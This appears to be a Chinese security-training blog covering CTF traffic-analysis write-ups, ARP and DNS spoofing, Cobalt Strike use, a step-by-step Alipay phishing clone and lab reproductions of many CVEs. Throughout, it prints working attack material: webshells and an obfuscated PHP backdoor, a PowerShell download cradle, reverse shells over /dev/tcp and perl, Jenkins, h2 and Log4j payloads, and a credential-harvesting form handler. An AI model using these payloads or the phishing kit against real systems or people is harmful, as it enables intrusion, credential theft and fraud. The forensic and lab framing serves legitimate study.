        flag_bin2 += "0"

flag1 = ""
flag2 = ""
for i in range(42):
    flag1 += chr(int(flag_bin1[8*i:8*(i+1)],2))
    flag2 += chr(int(flag_bin2[8*i:8*(i+1)],2))
print(flag1)
print(flag2)

流量分析：FlowAnalyze1

根据统计信息搜索telnet，追踪tcp流看到攻击者输入了用户名ctf和密码youcannevergetthis，接着下面返回了/etc/passwd中的内容。

四个flag都能在包里面找到，但是不知道后面两个flag是何意味。

流量分析：FlowAnalyze2

根据统计信息搜索http，看到攻击者使用联合查询进行了sql注入，在最下面的数据包中追踪http流看到返回的http源代码中有flag：

`1`	`Your Login name:2<br>Your Password:flag{th1s_ls_tHe_sQI1_anSwer}`

流量分析

流量包下载链接：https://pan.baidu.com/s/1GO4bZ7dErQcpkocfguXXzQ?pwd=ynm5

分析流量包请使用wireshark：WiresharkPortable64_latest.paf.exe

wireshark的使用

过滤器的使用：Wireshark过滤器写法总结 - willingtolove - 博客园
Ctrl+F的使用：正常情况下选字符串、除非搜文件选十六进制值查文件头。
右键单个数据包使用追踪HTTP流可以查看更详细的数据流（如相关回包）

分析流程

统计-协议分级：确定重点分析的流量：
- 常规流量：http
- 重点关注流量（出现且占比较大）：
- https 找https解密密钥文件
- dns 成段数据 base64加密
- telnet 明文
- icmp data
- ftp 记录交互过程
- ftp-data 记录传递的文件数据
- 802.1x WiFi协议爆破WiFi密码
看看第一条的source是谁，谁就是黑客：

http && ip.addr == 黑客IP
找比较特殊的流量数据：
- 首先变化的流量
- 最后的流量
- 包含命令的流量
- 包含文件/数据的流量

目标（基础）：

黑客ip是什么？
从sql注入中获得了什么？
最后进行了使用了什么攻击方式？

逐包分析

1.pcap

题目（进阶）：

黑客攻击的第一个受害主机的网卡IP地址

黑客对URL的哪一个参数实施了SQL注入

第一个受害主机网站数据库的表前缀 （加上下划线例如abc_）

第一个受害主机网站数据库的名字

Joomla后台管理员的密码是多少

确认了黑客为：202.1.1.2

受害者1为：192.168.1.8

所以使用过滤：

`1`	`ip.src==202.1.1.2 && ip.dst==192.168.1.8 && http.request`

发现黑客进行了sql注入操作（url解码后的内容）：

`1`	`option=(SELECT 5598 FROM(SELECT COUNT(),CONCAT(0x71626a6b71,(SELECT (ELT(5598=5598,1))),0x716a717671,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)`

再往下看到黑客通过修改User-Agent的方法使用序列化尝试执行语句：

User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1101:"eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(107).chr(107).chr(107).chr(97).chr(97).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(100).chr(110).chr(90).chr(50).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).chr(90).chr(88).chr(90).chr(104).chr(98).chr(67).chr(103).chr(107).chr(88).chr(49).chr(66).chr(80).chr(85).chr(49).chr(82).chr(98).chr(101).chr(110).chr(112).chr(54).chr(88).chr(83).chr(107).chr(55).chr(80).chr(122).chr(52).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

本地尝试执行chr()函数得到了语句的内容（base64已解码）：

`1`	`file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/kkkaaa.php',base64_decode('vvv<?php eval($_POST[zzz]);?>'));`

所以最终目的是先定位目录，再向目录中的kkkaaa.php文件写入webshell：

vvv<?php eval($_POST[zzz]);?>，其中vvv是干扰内容

2.pcap

题目（进阶）：

黑客第一次获得的php木马的密码是什么

黑客第二次上传php木马是什么时间

第二次上传的木马通过HTTP协议中的 哪个头 传递数据

继续对黑客ip进行跟踪过滤（基于刚才的webshell是POST形式）：ip.src == 202.1.1.2 && ip.dst == 192.168.1.8 && http.request.method == POST

看到黑客向webshell传入了命令（解码后）：

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

该命令并没有危害性，而是收集服务器系统信息，和目录查看

但是再往下看其他数据包，同样是向webshell传入了POST（解码后，共4个参数）：

&zzz=@eval(base64_decode($_POST[z0]));   // 这是webshell本身的参数名

&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

&z1=/var/www/html/joomla/tmp/footer.php

&z2=<?php
$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j('',$x);$N();
?>

这段 POST 内容的目的是： 利用已有的 PHP WebShell（kkkaaa.php，参数名为 zzz）远程执行代码，在服务器上写入一个高度混淆、通过 HTTP 头部通信并具备持久控制能力的 PHP 后门文件（/var/www/html/joomla/tmp/footer.php），以升级并隐蔽化攻击者的长期控制权限。

在末尾加上这两行：

1
2

var_dump($j);
var_dump($x);

解混淆：

<?php
$kh="cb42";
$kf="e130";
function x($t,$k)
{
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m){
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0){
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)){
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e){
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

分析z2(也就是footer.php的木马内容)，接下来攻击者将通过向 footer.php 发送看似正常的 HTTP 请求，在 Referer 与 Accept-Language 头中隐藏加密指令，从而远程触发后门执行并获取加密回显。

追踪流，看看后面攻击者如何调用这个webshell，发现Accept-Language 都挺正常，说明马用Referer传递数据。

3.pcap

题目（进阶）：

内网主机的mysql用户名和请求连接的密码hash 是多少(用户:密码hash)

php代理第一次被使用时最先连接了哪个IP地址

在查看协议分级时发现存在mysql协议，于是过滤mysql协议流量：

tcp contains "mysql" && mysql

发现攻击者对目标数据库进行大量的爆破，

在倒数几条流量发现了登陆成功的痕迹，以及数据库账号和密码的md5值：

`1`	`admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4`

重新过滤：

ip.addr == 202.1.1.2 and http.request.method == POST

发现下面攻击者已经开始利用192.168.1.8上面的/tmp/tunnel.php代理了，虽然不知道代理搭建的具体时间，但推测是用第二个马（footer.php）搭的。

此外，接下来攻击者还使用了一个位于/install/sh.php的webshell，推测也是用第二个马做的，时间未知，但是推测内容为<?php eval($_POST[123]);?>

4.pcap

题目（进阶）：

黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

黑客在内网主机中添加的用户名和密码是多少

黑客从内网服务器中下载下来的文件名

过滤：(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.8) && http

发现使用/install/index.php进行ls的命令执行，但没有回显，猜测是否目标主机为windows而非linux

对于Windows获取目录下的文件列表用dir而非ls命令，修改过滤：

(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.8) && http contains "dir"（这里因为用ls追踪流失败了所以直接提供dir的过滤语句，感兴趣可以试试ls的，虽然反正也会失败）

得到相关回显，判断为windows主机

修改过滤：是否存在有关管理员Administrator的相关操作

`1`	`(ip.addr == 202.1.1.2 \|\| ip.addr == 192.168.1.8) && http contains "Administrator"`

在192.168.2.20发向192.168.1.8的POST流量中，发现存在star和kaka两个额外用户的创建

修改过滤：ip.src == 192.168.2.20 && http

在时间为UTC 10:49:49的包中调用了sh.php这个webshell，内容为：

123=@eval.(base64_decode($_POST[action]));

&action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-+|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();

&z1=cmd

&z2=cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

分析POST内容（特别是z2）可知攻击者在系统创建了用户名:密码为kaka:kaka的新用户。

修改过滤：过滤POST流量

`1`	`ip.dst == 192.168.2.20 && http.request.method==POST`

挨个使用base64解码包中的参数值（累死我了😵），发现：

`1`	`cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]`

可见攻击者使用了procdump.exe生成内存转储文件

在最后一个包中解码参数值发现：

`1`	`C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp`

可见这就是生成的文件（lsass.exe的内存转储文件含系统用户的明文密码等重要安全信息）。

参考文献 Reference

[1] Pur3. 2018.5.5铁三数据赛（第三赛区）复现 [EB/OL]. (2020-02-16)[2026-01-29]. https://www.cnblogs.com/wrnan/p/12331564.html.

1.27 arp欺骗和CS的使用

Tue, 27 Jan 2026 19:44:30 +0800

arp欺骗+dns欺骗

以下操作在kali2018中操作

攻击端操作

1
2

service apache2 start
echo 1 >> /proc/sys/net/ipv4/ip_forward

编辑 /etc/ettercap/etter.conf

把开头的两个设置为0，即：

1
2
3

[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default

再把下面Linux部分的第二个，开头的注释删掉：

1
2

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp -d %destination --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp -d %destination --dport %port -j REDIRECT --to-port %rport"

修改etter.dns，添加要劫持的网站的A记录到你的IP，例如：

`1`	`login.taobao.com A [黑客ip]`

ettercap -G 运行ettercap可视化窗口

sniff–unisniff–ok

host—host list—scan for hosts

网关–target1，目标–target2

mitm-arp posi…，选择第一个—ok

plugins—dns-spoofing双击

start–start sniff

如何识破？

arp -a

如果发现网关的地址和其中一个人的地址一样，说明被arp欺骗了

Windows bug利用

畸形文件夹

文件夹分身

创建文件夹md xxx..\

向其中添加文件后会分身出名为xxx的文件夹，且原文件夹无法删除

移除文件夹rd xxx..\

多重文件夹

创建文件夹md "\haha\ \"

向其中添加文件后发现里层的空文件夹也出现了该文件且无法删除

移除文件夹rd /s /q "c:\haha"

镜像文件夹（可能修复）

创建文件夹md c:\...\

打开文件夹里面是整个C盘的镜像，普通删除可能会损毁C盘

移除文件夹md c:\...\

文件隐藏

创建文件夹md a...\

复制文件到当中copy kfc.jpg c:\a...\kfc.jpg

只能通过伪协议访问：

file:///C:/a.../

修改文件夹为系统标识

重命名文件夹为以下：
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印机.{2227a280-3aea-1069-a2de-08002b30309d}
控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d}
⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
改回来：
rename 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D} haha

Cobaltstrike的使用

cs属于c2软件

可以支持windows和linux，支持多人协作

使用Windows作为teamserver

先执行CMD添加密码

`1`	`teamserver.bat Teamserver的IP 123456`

启动teamserver

打开cobaltstrike.bat可以在windows上启动，ip填写Teamserver的IP，用户名随意密码123456

设置监听器Listener

add，reverse_http，主机写的是teamserver的ip，端口6666

配置payload

攻击，钓鱼攻击，脚本web传递可以生成木马传递命令，以供目标执行，如：

`1`	`powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.142.132:80/a'))"`

目标运行脚本之后，黑客木马上线

选择目标，右键，进入beacon，先执行sleep 1等60s

（因为cs默认心跳包为60s）

之后就可以控制目标电脑

如果要删除目标，右键，先exit，再remove

也可以使用攻击，生成后门，exe格式的木马

使用Kali作为teamserver

linux的cs 4.1

开启端口是50050，不要写错

将teamserver文件的属性改为“可当作程序执行”

进入目录执行./teamserver [kali的ip] [密码]

如果windows需要连接kali的cs

cobaltstrike.bat，输入ip是kali的ip

如果linux连接cs

./cobaltstrike

利用smb beacon木马保留后门

监听器增加beacon smb，原有木马的基础之上，派生会话，选择smb的监听器

进入smb连接的木马

unlink 192.168.143.133 断开目标smb连接

进入原来的木马连接

link 192.168.143.133 恢复目标smb连接

cs+msf协同工作

外部监听器，打开msf

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost [kali的ip]

set lport 11111

exploit -j

cs的控制端

增加一个监听器payload为foreign_http

ip选择kali的，端口11111

选择被控制的目标，右键，派生会话，选择外部的监听器

此时msf就上线

对CS进行溯源反制

使用抓包看到黑客teamserver的ip地址，对黑客ip地址进行扫描

python csbruter.py -t 100 -p 端口黑客IP pass.txt

有可能可以猜到黑客的teamserver的密码，然后自己使用cs去连接黑客的teamserver

邮件伪造

这部分在之前的文章中已有说明swaks伪造邮件

钓鱼网站（模板）

这部分在之前的文章中也有一个例子1.11 Linux提权(续)和钓鱼网站

这里做一个补充，再提供一个修改真实网页的例子

拓展补充：CSS选择器

ID 选择器（ID Selector）：通过元素的唯一标识符（ID）选择 HTML 元素。

ID 选择器以 # 开头，后面跟着 ID 名称。

伪实战：以支付宝登录界面为例

打开到支付宝的登陆界面，右键选择“另存为”将网页保存到本地（文件名建议直接叫index），如果感觉原本的网站对引导用户输入用户名密码不够友好也可以先使用F12修改一些页面上的元素再保存（例如删去验证码登录和扫码登录）。

使用VS Code打开下载好的html文件，接下来一步一步来修改下面准备好的前后端模板：

在浏览器中使用F12定位到“邮箱地址/手机号”这个元素的id，这里是J-input-user

同理也分别找到密码输入框和登录按钮的id，是password_input和J-login-simulate-btn

将收集到的信息填入到下面的前端脚本中

<script>
  $(document).ready(function(){
    //监听登录按钮事件
    $('#登录按钮id').click(function(event){
      //阻止默认的提交行为
      event.preventDefault();
      //获取用户名密码
      var username = $('#账号框id').val();
      var password = $('#密码框id').val();
      console.log(username);
      console.log(password);
      //使用ajax发送到post.php
      $.post('./post.php',{loginname:username,loginpassword:password},function(response){
        //console.log(response);
        alert("您输入的密码错误，请重新登录");
        window.location.replace("密码错误后的跳转链接");
      });
    });
  });
</script>

将改好的代码插入到html源代码中有关账号/密码框的代码的下方，前端校验的上方（如果有）。

再将这段引入js的代码插入到源代码中有关账号/密码框的代码的上方，为保险你也可以紧跟在<body>后面。

<script
  src="https://code.jquery.com/jquery-3.7.1.js"
  integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4="
  crossorigin="anonymous"></script>

在网站根目录中创建post.php文件，写入：

<?php

$u = $_POST['loginname'];
$p = $_POST['loginpassword'];

$f = fopen('data.txt','a+');
fwrite($f,$u.'----'.$p."\n");
fclose($f);

?>

网页伪造完毕。

下面我们假装受害者来访问网站：受害者填入手机号18888888888和密码mypassword，点击登陆后网页弹窗提示密码错误，随后跳转到真正的支付宝。

服务端看到网站目录下生成了data.txt，里面有收集到的用户名和密码：

懒人工具：goblin 哥布林

下载链接：https://pan.baidu.com/s/1SH6CysBDVECgblIM8IZMqQ?pwd=u6rw

解压后运行会自动生成配置文件，打开它的goblin.yaml文件可以修改模仿的网站，访问每个网站上面的对应模仿地址即可查看效果。软件应该是采用本地代理转发加抓包的形式实现的，所以虽然对网页的模拟极为逼真（毕竟是代理原网页的），但是只要网页稍微有点防护就不行了，感兴趣自行尝试吧。

以上的钓鱼网站搭建和开头的arp+dns欺骗配合食用更加哦。

1.26 漏洞复现

Mon, 26 Jan 2026 19:02:23 +0800

安装vulfocus靶场，下载链接：https://pan.baidu.com/s/1wY6QmW5EmWaYm9u88nKF2w?pwd=d4ue

并且下载服务器攻防工具：https://pan.baidu.com/s/1UxdruKscaAPK_DuSLQuhwg?pwd=qrwc

启动靶场

登陆密码test123

注：靶场机ifconfig必须保证和攻击机网段一致（都开网桥或者都开NAT模式）

终端执行

sudo su 输入登录密码

docker ps -a

发现9bda的虚拟机

docker start 9bda

开始实验

在攻击机的浏览器中访问靶场的ip

使用用户名:密码admin:admin登录

镜像管理–镜像管理-一键同步

redis系列服务

默认端口6379

fofa搜索 port="6379" && protocol="redis"

redis服务默认就是没有用户名和密码的

找到服务攻防工具中的redis文件夹中的Another-Redis-Desktop-Manager并安装

Redis：CVE-2022-0543

在vulfocus中搜索该环境并启动，根据弹窗中的IP和端口使用刚才安装的软件连接数据库

在软件中打开命令行模式，输入以下漏洞代码：

`1`	`eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0`

Redis：CNVD-2015-07557

在服务攻防工具中的redis文件夹中找到redis-rogue-server-master(CNVD-2015-07557).zip复制到kali环境下解压，使用以下命令运行：

1
2

chmod 777 -R ./*
python3 redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击端口

选择reverse shell反向连接

192.168.0.106(攻击IP) 4444 此时kali开nc -lvp 4444

此时在nc可以使用一些Linux的命令

Redis：CNVD-2019-21763

同样将redis-rogue-getshell(CNVD-2019-21763).zip转移到kali环境，使用以下命令运行：

`1`	`python3 redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"`

Couchdb：CVE-2017-12635（权限绕过）

开源数据库，储存数据格式json，js查询语言

数据库会开放3个端口，看谁会理你，就打谁

1、先创建用户

抓包并修改数据包

PUT /_users/org.couchdb.user:usertest1 HTTP/1.1
Host: 目标IP:端口
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "usertest1",
  "roles": ["_admin"],
  "roles": [],
  "password": "usertest1"
}

浏览器网页返回"ok":true

2、登录用户授权

http://目标IP:端口/_utils/

用户名密码

usertest1:usertest1

Couchdb：CVE-2017-12635（命令执行）

在服务攻防工具中的couchdb文件夹中找到couchdb.py，同样复制到Kali环境。

编辑该脚本，编辑目标的ip和端口和自己的ip，例如:

!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://目标IP:端口'
command = rb"""sh -i >& /dev/tcp/自己IP/9988 0>&1"""
version = 1

session = requests.session()
session.headers = {
# 以下省略

先用nc监听9988端口

nc -lvp 9988

再执行python couchdb.py

此时目标会反弹shell到本地，可以在nc的终端页面执行命令

h2database：CVE-2022-23221

漏洞一：未授权进入

在JDBC URL中填入：

`1`	`jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\`

点击connect，直接进入了后台

漏洞二：RCE执行反弹

在攻击机上创建文件h2database.sql，内容为：

CREATE TABLE test (
  id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64编码后的反弹指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例：bash -i >& /dev/tcp/攻击IP/6666 0>&1

在当前文件夹中启动CMD，执行python -m http.server

启动nc监听6666端口，nc -lvvp 6666

在h2database的登录窗口的JDBC URL填入：

`1`	`jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.80.134:8000/h2database.sql';\`

点击connect，观察到nc上已经拿到了目标上的root终端。

Apache：CVE-2021-42013

攻击端用nc监听5566端口，nc -lvvp 5566

使用hackbarPOST一段内容，同时用burp抓包

修改数据包头（也就是第一行）：POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

修改下方的POST内容：

echo;perl -e 'use Socket;$i="攻击IP";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Apache：CVE-2021-41773（目录穿越）

fafa搜索server="Apache/2.4.49"

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞，攻击者可利用该漏洞读取到Web目录外的其他文件，如系统配置文件、网站源码等，甚至在特定情况下，攻击者可构造恶意请求执行命令，控制服务器。

使用Kali执行下面的命令即可：

`1`	`curl -v --path-as-is 'http://目标IP:端口/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'`

tomcat-pass-getshell：弱口令

配置不当导致后台弱口令，可通过上传jsp压缩包改名的war拿shell

先爆破弱口令

后门压缩zip改war

上传war访问链接

打开网站，点击manageapp，用户名密码都是tomcat或者admin

发现WAR file to deploy

哥斯拉生成jsp木马(有效载荷是JavaDynamicPayload)，压缩为zip，改名为a1.war

之后发现网站有一个/a1

地址为http://目标IP:端口/a1/a1.jsp

哥斯拉（ONE-FOX集成工具箱）连接即可（记得选相同的有效载荷）

tomcat：CVE-2017-12615（文件上传）

burp直接首页抓包，改为PUT，内容为从文件粘贴jsp木马的代码

PUT /x.jsp/

PUT /xx.jsp%20

PUT /xxx.jsp::$DATA

之后木马就在http://目标IP:端口/xxx.jsp

jenkins：CVE-2018-1000861

在服务攻防\jenkins\CVE-2018-1000861创建shell.txt内容为：

`1`	`bash -i >& /dev/tcp/攻击IP/5566 0>&1`

随后在同目录下执行

1
2

python -m http.server 8888
python2 exp.py http://目标IP:端口/ "curl -o /tmp/1.sh http://攻击IP:8888/shell.txt"

此时目标的/tmp/1.sh有了

攻击端使用nc监听nc -lvvp 5566

接着在刚才的目录执行

`1`	`python2 exp.py http://192.168.142.129:62408/ "bash /tmp/1.sh"`

laravel：CVE-2021-3129（RCE）

要求：Laravel <= 8.4.2

进入服务攻防\Laravel\CVE-2021-3129-main

执行：

`1`	`python exp.py http://目标IP:端口`

thinkphp

#Thinkphp-3.X RCE-6.X RCE

ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架

综合工具：武器库-Thinkphp专检（3-6版本）

CVE-2018-1002015

one-fox的thinkphp综合利用工具，地址写进去检测，可以检测出漏洞

选择thinkphp5.0 rce，命令写whoami即可

CNVD-2018-24942

one-fox的thinkphp综合利用工具，地址写进去检测，可以检测出漏洞

struts（s2）

Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。

可能存在OGNL表达注入扩展，从而造成远程代码执行，风险极大。

fofa搜索app="struts2"

struts2：CVE-2020-17530（代码执行）

要求： Apache Struts 2.0.0 - 2.5.25

找到服务攻防\struts2\s2-062-main

当前目录执行：

`1`	`python .\s2-062.py --url http://目标IP:端口/ --cmd id`

会出现信息

Spring（目录遍历）

0.2.13之前版本存在路径遍历漏洞，攻击者可通过该缺陷读取系统任意文件。

参考文献：https://blog.csdn.net/weixin_43165012/article/details/121152482

如果是Linux服务器

http://目标IP:端口/manage/log/view?filename=etc/passwd&base=../../../../../../

如果是windows服务器

http://目标IP:端口/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

退格是为了确保退到根目录

Solr：CVE-2019-17558（命令执行）

主要基于HTTP和Apache Lucene实现的全文搜索服务器。

历史漏洞：https://avd.aliyun.com/search?q=Solr

黑盒特征：图标及端口8393

fofa搜port="8983" && title="Solr Admin"

要求： Apache Solr 5.0.0版本至8.3.1

找到服务攻防\solr\solr_rce-master

1
2
3

python2 solr_rce.py http://目标IP:端口 id
# 可以发现内容
python2 solr_rce.py http://目标IP:端口 "cat /etc/passwd"

Solr：CVE-2021-27905（文件读取&SSRF）

全版本官方拒绝修复漏洞

获取数据库名

`1`	`http://目标IP:端口/solr/admin/cores?indexInfo=false&wt=json`

可以获取status的name为demo

访问触发

1
2
3

curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://目标IP:端口/solr/demo/config'

任意文件读取

`1`	`curl -i -s -k 'http://目标IP:端口/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'`

shiro：CVE-2016-4437(命令执行)

ava安全框架，能够用于身份验证、授权、加密和会话管理。

历史漏洞：https://avd.aliyun.com/search?q=Shiro

黑盒特征：数据包cookie里面rememberMe

利用one-fox工具箱中的shiro-attack工具。

目标地址写http://目标IP:端口/

请求头Abc: 123，post数据a=123

爆破密钥kPH+bIxk5D2deZiIxcaaaA==

爆破利用链和回显，发现common2和AllEcho

log4j：CVE-2021-44228（远程命令执行）

Apache的一个开源项目，是一个基于Java的日志记录框架。

历史漏洞：https://avd.aliyun.com/search?q=Log4j

黑盒特征：盲打会问蓝队攻击特征（关键词${jndi:rmi:///osutj8}）

要求： Apache Log4j2 2.0 - 2.15.0-rc1

在dnslog平台获取一个域名，制作payload

`1`	`${jndi:ldap://域名}`

